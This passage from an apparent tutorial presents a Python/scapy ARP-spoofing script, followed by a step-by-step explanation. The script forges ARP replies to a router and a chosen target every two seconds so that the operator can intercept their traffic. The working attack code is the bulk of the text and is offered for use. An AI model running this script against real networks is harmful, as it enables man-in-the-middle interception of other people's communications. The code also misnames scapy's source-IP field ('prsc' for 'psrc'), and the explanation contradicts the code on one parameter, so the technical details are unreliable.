

## Final arpspoof script

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1 #!/bin/python3
2
3 import scapy.all as scapy
4 import sys
5 import time
6
7 def get_mac_address(ip_address):
8     broadcast_layer = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
9     arp_layer = scapy.ARP(pdst=ip_address)
10    get_mac_packet = broadcast_layer/arp_layer
11    answer = scapy.srp(get_mac_packet, timeout=2, verbose=False)[0]
12    return answer[0][1].hwsrc
13
14 # spoof function
15 def spoof(router_ip, target_ip, router_mac, target_mac): # spoof function with four parameter, these are the main parameter needed to send the malicious packet
16     packet1 = scapy.ARP(op=2, hwdst=router_mac, pdst=router_ip, prsc=target_ip) # first malicious packet
17     packet2 = scapy.ARP(op=2, hwdst=target_mac, pdst=target_ip, prsc=router_ip) # second malicious packet
18     scapy.send(packet1)
19     scapy.send(packet2)
20
21 # four input
22 target_ip = str(sys.argv[2]) # input1 argument 2 target_ip
23 router_ip = str(sys.argv[1]) # input2 argument 1 router_ip
24 target_mac = str(get_mac_address(target_ip)) # input3 target_mac
25 router_mac = str(get_mac_address(router_ip)) # input4 router_mac
26
27 # try and except to argument the spoof period among the four parameters
28 try:
29     while True:
30         spoof(router_ip, target_ip, router_mac, target_mac)
31         time.sleep(2)
32 except KeyboardInterrupt:
33     print('Closing Arp spoofer')
34     exit(0)
```

1. We introduce another function called spoof with four parameter router\_ip, target\_ip, router\_mac, target\_mac
2. The two packet(malicious), packet1 and packet2 are sent ones. The two packet communicate together and while the packet is routing to the source.
3. We set destination mac address(hwdst) = router\_ip, destination IP address(pdst) = router\_ip and source IP address(prsc) = target\_ip for the packet1 while in packet2 we set destination mac address(hwdst) = target\_mac, destination IP address(pdst) = target\_ip and source IP address(prsc) = router\_ip. These is to convince the router that we are the target.
4. We introduced try and except method to the tell script that while the packet is True, spoof the four parameter(router\_mac, target\_mac, router\_ip, target\_ip), dont spoof continuously, sleep every two seconds and stop when the keyboard is interrupted.